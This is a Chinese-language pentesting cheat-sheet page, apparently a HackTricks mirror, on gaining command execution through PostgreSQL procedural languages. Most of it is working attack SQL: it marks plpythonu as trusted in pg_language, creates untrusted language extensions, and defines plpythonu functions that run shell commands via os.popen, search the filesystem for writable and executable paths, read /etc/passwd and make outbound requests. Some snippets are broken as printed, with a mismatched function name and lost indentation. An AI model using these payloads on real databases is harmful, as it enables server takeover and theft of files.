# RCE with PostgreSQL Languages

<details>

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## PostgreSQL 语言

您访问的 PostgreSQL 数据库可能安装了不同的**脚本语言**，您可以滥用这些语言来**执行任意代码**。

您可以**使它们运行**：

```sql
\dL *

SELECT lanname,lanpltrusted,lanacl FROM pg_language;
```

大多数您可以在PostgreSQL中安装的脚本语言都有**2种类型**：**受信任**和**不受信任**。**不受信任**的语言名称**以"u"结尾**，这些版本允许您**执行代码**并使用其他有趣的功能。以下是一些安装后会很有趣的语言：

* **plpythonu**
* **plpython3u**
* **plperlu**
* **pljavaU**
* **plrubyu**
* ...（任何其他使用不安全版本的编程语言）

{% hint style="warning" %}
如果您发现一个有趣的语言已经被PostgreSQL **安装**但被标记为**不受信任**（**`lanpltrusted`为`false`**），您可以尝试使用以下命令**信任**它，这样PostgreSQL就不会施加任何限制：

```sql
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';
```

{% endhint %}

{% hint style="danger" %}
如果您找不到一种语言，您可以尝试使用以下方式加载它（**您需要是超级管理员**）：

```
CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;
```

{% endhint %}

请注意，将安全版本编译为“不安全”是可能的。例如，可以查看[此链接](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html)。因此，即使只发现安装了**受信任**的版本，尝试执行代码也是值得的。

## plpythonu/plpython3u

```sql
CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.popen(cmd).read()
#return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve
```

```sql
CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
import os
return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless
```

```sql
CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import json
from os import walk
files = next(walk(dir), (None, None, []))
return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir
```

```sql
CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
writables = []
def find_writable(path):
if not os.path.isdir(path):
return
if os.access(path, os.W_OK):
writables.append(path)
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_writable(os.path.join(path, item))
find_writable(path)
return writables

return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)
```

```sql
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in os.path.basename(i):
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file
```

```sql
CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find(dir)
b = []

for i in a:
b.append(os.path.basename(i))
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)
```

```sql
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
import os
def my_find(path):
executables = []
def find_executables(path):
if not os.path.isdir(path) and os.access(path, os.X_OK):
executables.append(path)

if os.path.isdir(path):
if not os.listdir(path):
return
else:
for item in os.listdir(path):
find_executables(os.path.join(path, item))
find_executables(path)
return executables

a = my_find("/")
b = []

for i in a:
if exe_sea in i:
b.append(i)
return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring
```

```sql
CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
import base64
encoded_string= base64.b64encode(open(path).read())
return encoded_string.decode('utf-8')
return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64
```

```sql
CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
import os
status = os.stat(path)
perms = oct(status.st_mode)[-3:]
return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file
```

```sql
CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
import urllib
r = urllib.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
from urllib import request
r = request.urlopen(url)
return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3
```

## pgSQL

检查以下页面：

{% content-ref url="pl-pgsql-password-bruteforce" %}
[pl-pgsql-password-bruteforce](https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection/pl-pgsql-password-bruteforce)
{% endcontent-ref %}

## C

检查以下页面：

{% content-ref url="rce-with-postgresql-extensions" %}
[rce-with-postgresql-extensions](https://hacktricks.xsx.tw/pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions)
{% endcontent-ref %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

* 您在**网络安全公司**工作吗？ 想要在**HackTricks中宣传您的公司**吗？ 或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**吗？ 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧**。

</details>